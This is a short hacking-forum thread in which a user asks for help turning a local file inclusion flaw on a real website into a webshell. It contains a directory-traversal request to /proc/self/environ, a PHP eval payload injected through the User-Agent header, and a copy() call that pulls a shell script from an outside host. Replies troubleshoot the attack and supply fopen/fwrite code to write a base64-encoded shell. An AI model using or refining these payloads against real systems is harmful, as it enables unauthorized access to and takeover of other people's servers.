I've found a site with LFI include. Trying to reach shell: ?page=../../../../../../../../../../../../proc/self/environ&cmd=ls; user-agent - <?php eval(\$_GET[cmd]); ?> error - Parse error: syntax error, unexpected T_VARIABLE, expecting T_STRING in /proc/164512/environ on line 1 Help plz.
When i tried to load shell with User-Agent <?php copy('www.somesite.com/shell.php','1.php') ?> i've got error - Warning: copy(www.somesite.com/shell.php) [function.copy]: failed to open stream: No such file or directory in /proc/178928/environ on line 1
Change www. to http://www. and make sure the webshell is served in plaintext, not as a rendered html page.
the same error: Warning: copy(1.php) [function.copy]: failed to open stream: Permission denied in /proc/383125/environ on line 1
Try make file and write content http://php.net/manual/en/function.fwrite.php Code: $fp = fopen('shell.php', 'w+'); fwrite($fp, base64_decode('BASE64_BODY')); fclose($fp);
It's not the same error. It means the webserver user doesn't have write permissions to the current directory. You've gotta find a writable directory and chdir to it before making upload requests.